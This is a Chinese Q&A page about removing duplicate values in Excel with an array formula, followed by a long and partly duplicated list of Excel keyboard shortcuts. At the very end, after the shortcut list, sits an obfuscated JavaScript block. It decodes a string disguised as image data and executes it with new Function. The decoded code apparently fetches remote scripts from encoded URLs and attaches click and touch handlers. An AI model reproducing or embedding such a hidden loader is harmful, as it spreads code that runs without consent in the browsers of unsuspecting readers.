推荐回答(3个)
Excel中可以利用数组公式去除多余的重复值,只保留唯一的值。
软件版本:Office2007
方法如下:
1.利用公式,去除A列多余的重复值,只保留一个:

2.输入公式如下:
公式解释:先利用match函数对每个单元格进行判断,在A1:A10区域内的出现的位置,是否与行号相同(如果第一次出现肯定相同,第二次之后出现,就不相同了),如果相同,返回行号,如果不同,返回一个极大数,并将这些数存放到一个数组中;然后对形成的数组进行从小到大排序,并以此提取这个数组的前10个数字,作为index函数的行参数,返回A列数值,如果提取出错,就返回空值。

3.这是一个数组公式,需要用Ctrl+Shift+Enter三键结束,完成后,会自动添加大括号:

4.拖动填充,得到最终的结果:

多余限制指什么
是输入数据后有错误提示那种吧,这个是在数据,有效性下做成的,你仍在这下面修改或去除
Excel 快捷键和功能键
Ctrl 组合快捷键
按键 说明
Ctrl+( 取消隐藏选定范围内所有隐藏的行。
Ctrl+) 取消隐藏选定范围内所有隐藏的列。
Ctrl+& 将外框应用于选定单元格。
Ctrl+_ 从选定单元格删除外框。
Ctrl+~ 应用“常规”数字格式。
Ctrl+$ 应用带有两位小数的“货币”格式(负数放在括号中)。
Ctrl+% 应用不带小数位的“百分比”格式。
Ctrl+^ 应用带有两位小数的“指数”格式。
Ctrl+# 应用带有日、月和年的“日期”格式。
Ctrl+@ 应用带有小时和分钟以及 AM 或 PM 的“时间”格式。
Ctrl+! 应用带有两位小数、千位分隔符和减号 (-)(用于负值)的“数值”格式。
Ctrl+- 显示用于删除选定单元格的“删除”对话框。
Ctrl+* 选择环绕活动单元格的当前区域(由空白行和空白列围起的数据区域)。
在数据透视表中,它将选择整个数据透视表。
Ctrl+: 输入当前时间。
Ctrl+; 输入当前日期。
Ctrl+` 在工作表中切换显示单元格值和公式。
Ctrl+' 将公式从活动单元格上方的单元格复制到单元格或编辑栏中。
Ctrl+" 将值从活动单元格上方的单元格复制到单元格或编辑栏中。
Ctrl++ 显示用于插入空白单元格的“插入”对话框。
Ctrl+1 显示“单元格格式”对话框。
Ctrl+2 应用或取消加粗格式设置。
Ctrl+3 应用或取消倾斜格式设置。
Ctrl+4 应用或取消下划线。
Ctrl+5 应用或取消删除线。
Ctrl+6 在隐藏对象、显示对象和显示对象占位符之间切换。
Ctrl+7 显示或隐藏“常用”工具栏。
Ctrl+8 显示或隐藏大纲符号。
Ctrl+9 隐藏选定的行。
Ctrl+0 隐藏选定的列。
Ctrl+A 选择整个工作表。
如果工作表包含数据,则按 Ctrl+A 将选择当前区域。再次按 Ctrl+A 将选择整个工作表。
当插入点位于公式中某个函数名称的右边时,则会显示“函数参数”对话框。
当插入点位于公式中某个函数名称的右边时,按 Ctrl+Shift+A 将会插入参数名称和括号。
Ctrl+B 应用或取消加粗格式设置。
Ctrl+C 复制选定的单元格。
如果连续按两次 Ctrl+C,则会显示 Microsoft Office 剪贴板。
如果工作表包含数据,则按 Ctrl+A 将选择当前区域。再次按 Ctrl+A 将选择整个工作表。
当插入点位于公式中某个函数名称的右边时,则会显示“函数参数”对话框。
当插入点位于公式中某个函数名称的右边时,按 Ctrl+Shift+A 将会插入参数名称和括号。
Ctrl+B 应用或取消加粗格式设置。
Ctrl+C 复制选定的单元格。
如果连续按两次 Ctrl+C,则会显示 Microsoft Office 剪贴板。
Ctrl+D 使用“向下填充”命令将选定范围内最顶层单元格的内容和格式复制到下面的单元格中。
Ctrl+F 显示“查找”对话框。
按 Shift+F5 也会显示此对话框,而按 Shift+F4 则会重复上一次“查找”操作。
Ctrl+G 显示“定位”对话框。
按 F5 也会显示此对话框。
Ctrl+H 显示“查找和替换”对话框。
Ctrl+I 应用或取消倾斜格式设置。
Ctrl+K 为新的超链接显示“插入超链接”对话框,或为选定的现有超链接显示“编辑超链接”对话框。
Ctrl+L 显示“创建列表”对话框。
Ctrl+N 创建一个新的空白文件。
Ctrl+O 显示“打开”对话框以打开或查找文件。
按 Ctrl+Shift+O 可选择所有包含批注的单元格。
Ctrl+P 显示“打印”对话框。
Ctrl+R 使用“向右填充”命令将选定范围最左边单元格的内容和格式复制到右边的单元格中。
Ctrl+S 使用其当前文件名、位置和文件格式保存活动文件。
Ctrl+U 应用或取消下划线。
Ctrl+V 在插入点处插入剪贴板的内容,并替换任何选定内容。只有在剪切或复制了对象、文本或单元格内容后,才能使用此快捷键。
Ctrl+W 关闭选定的工作簿窗口。
Ctrl+X 剪切选定的单元格。
Ctrl+Y 重复上一个命令或操作(如有可能)。
Ctrl+Z 使用“撤消”命令来撤消上一个命令或删除最后键入的条目。
显示了自动更正智能标记时,按 Ctrl+Shift+Z 可使用“撤消”或“重复”命令撤消或恢复上一次自动更正操作。
功能键
按键 说明
F1 显示“帮助”任务窗格。
按 Ctrl+F1 可关闭并重新打开当前任务窗格。
按 Alt+F1 可创建当前范围中数据的图表。
按 Alt+Shift+F1 可插入新的工作表。
F2 编辑活动单元格并将插入点放在单元格内容的结尾。如果禁止在单元格中进行编辑,它也会将插入点移到编辑栏中。
按 Shift+F2 可编辑单元格批注。
F3 将定义的名称粘贴到公式中。
按 Shift+F3 将显示“插入函数”对话框。
F4 重复上一个命令或操作(如有可能)。
按 Ctrl+F4 可关闭选定的工作簿窗口。
F5 显示“定位”对话框。
按 Ctrl+F5 可恢复选定工作簿窗口的窗口大小。
F6 切换到已拆分(“窗口”菜单,“拆分”命令)的工作表中的下一个窗格。
按 Shift+F6 可切换到已拆分的工作表中的上一个窗格。
如果打开了多个工作簿窗口,则按 Ctrl+F6 可切换到下一个工作簿窗口。
F7 显示“拼写检查”对话框,以检查活动工作表或选定范围中的拼写。
如果工作簿窗口未最大化,则按 Ctrl+F7 可对该窗口执行“移动”命令。使用箭头键移动窗口,并在完成时按 Esc。
F8 打开或关闭扩展模式。在扩展模式中,“EXT”将出现在状态行中,并且按箭头键可扩展选定范围。
通过按 Shift+F8,您可以使用箭头键将非邻近单元格或范围添加到单元格的选定范围。
当工作簿未最大化时,按 Ctrl+F8 可执行“大小”命令(在工作簿窗口的“控制”菜单上。
按 Alt+F8 可显示用于运行、编辑或删除宏的“宏”对话框。
F9 计算所有打开的工作簿中的所有工作表。
如果先按 F9 再按 Enter(对于数组公式则按 Ctrl+Shift+Enter),则会计算选定的公式部分,并将选定部分替换为计算出的值。
按 Shift+F9 可计算活动工作表。
按 Ctrl+Alt+F9 可计算所有打开的工作簿中的所有工作表,不管它们自上次计算以来是否已更改。
如果按 Ctrl+Alt+Shift+F9,则会重新检查相关公式,然后计算所有打开的工作簿中的所有单元格,其中包括未标记为需要计算的单元格。
按 Ctrl+F9 可将工作簿窗口最小化为图标。
F10 选择菜单栏或同时关闭打开的菜单和子菜单。
按 Shift+F10 可显示选定项目的快捷菜单。
按 Alt+Shift+F10 可显示智能标记的菜单或消息。如果存在多个智能标记,按该组合键可切换到下一个智能标记并显示其菜单或消息。
按 Ctrl+F10 可最大化或还原选定的工作簿窗口。
F11 创建当前范围内数据的图表。
按 Shift+F11 可插入一个新工作表。
按 Alt+F11 将打开 Visual Basic 编辑器,您可以在其中通过使用 Visual Basic for Applications (VBA) 来创建宏。
按 Alt+Shift+F11 将打开 Microsoft 脚本编辑器,您可以在其中添加文本、编辑 HTML 标记以及修改任何脚本代码。
F12 显示“另存为”对话框。
其他有用的快捷键
按键 说明
箭头键 在工作表中上移、下移、左移或右移一个单元格。
按 Ctrl+箭头键可移动到工作表中当前数据区域 (数据区域:包含数据的单元格区域,该区域周围为空白单元格或数据表边框。)的边缘。
按 Shift+箭头键可将单元格的选定范围扩大一个单元格。
按 Ctrl+Shift+箭头键可将单元格的选定范围扩展到与活动单元格同一列或同一行中的最后一个非空白单元格。
当菜单处于可见状态时,按向左键或向右键可选择左边或右边的菜单。当子菜单处于打开状态时,按这些箭头键可在主菜单和子菜单之间切换。
当菜单或子菜单处于打开状态时,按向下键或向上键可选择下一个或上一个命令。
在对话框中,按箭头键可在打开的下拉列表中的各个选项之间移动,或在一组选项的各个选项之间移动。
按 Alt+向下键可打开选定的下拉列表。
Backspace 在编辑栏中删除左边的一个字符。
也可清除活动单元格的内容。
Delete 从选定单元格中删除单元格内容(数据和公式),而不会影响单元格格式或批注。
在单元格编辑模式下,按该键将会删除插入点右边的字符。
End 当 Scroll Lock 处于开启状态时,移动到窗口右下角的单元格。
当菜单或子菜单处于可见状态时,也可选择菜单上的最后一个命令。
按 Ctrl+End 可移动到工作表上的最后一个单元格,即所使用的最下方一行与所使用的最右边一列的交汇单元格。
按 Ctrl+Shift+End 可将单元格的选定范围扩展到工作表上所使用的最后一个单元格(右下角)。
Enter 从单元格或编辑栏中完成单元格输入,并(默认)选择下面的单元格。
在数据表单中,按该键可移动到下一条记录中的第一个字段。
打开选定的菜单(按 F10 激活菜单栏),或执行选定命令的操作。
在对话框中,按该键可执行对话框中默认命令按钮(带有突出轮廓的按钮,通常为“确定”按钮)的操作。
按 Alt+Enter 可在同一单元格中另起一个新行。
按 Ctrl+Enter 可使用当前条目填充选定的单元格区域。
按 Shift+Enter 可完成单元格输入并选择上面的单元格。
Esc 取消单元格或编辑栏中的输入。
按该键也可关闭打开的菜单或子菜单、对话框或消息窗口。
Home 移到工作表中某一行的开头。
当 Scroll Lock 处于开启状态时,移到窗口左上角的单元格。
当菜单或子菜单处于可见状态时,选择菜单上的第一个命令。
按 Ctrl+Home 可移到工作表的开头。
按 Ctrl+Shift+Home 可将单元格的选定范围扩展到工作表的开头。
Page Down 在工作表中下移一个屏幕。
按 Alt+Page Down 可在工作表中向右移动一个屏幕。
按 Ctrl+Page Down 可移到工作簿中的下一个工作表。
按 Ctrl+Shift+Page Down 可选择工作簿中的当前和下一个工作表。
Page Up 在工作表中上移一个屏幕。
按 Alt+Page Up 可在工作表中向左移动一个屏幕。
按 Ctrl+Page Up 可移到工作簿中的上一个工作表。
按 Ctrl+Shift+Page Up 可选择工作簿中的当前和上一个工作表。
空格键 在对话框中,执行选定按钮的操作,或者选中或清除复选框。
按 Ctrl+空格键可选择工作表中的整列。
按 Shift+空格键可选择工作表中的整行。
按 Ctrl+Shift+空格键可选择整个工作表。
如果工作表包含数据,则按 Ctrl+Shift+空格键将选择当前区域。再按一次 Ctrl+Shift+空格键将选择整个工作表。
当某个对象处于选定状态时,按 Ctrl+Shift+空格键可选择工作表上的所有对象。
按 Alt+空格键可显示 Excel 窗口的“控制”菜单。
Tab 在工作表中向右移动一个单元格。
在受保护的工作表中,可在未锁定的单元格之间移动。
在对话框中,移到下一个选项或选项组。
按 Shift+Tab 可移到前一个单元格(在工作表中)或前一个选项(在对话框中)。
在对话框中,按 Ctrl+Tab 可切换到下一个选项卡。
在对话框中,按 Ctrl+Shift+Tab 可切换到前一个选项卡。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();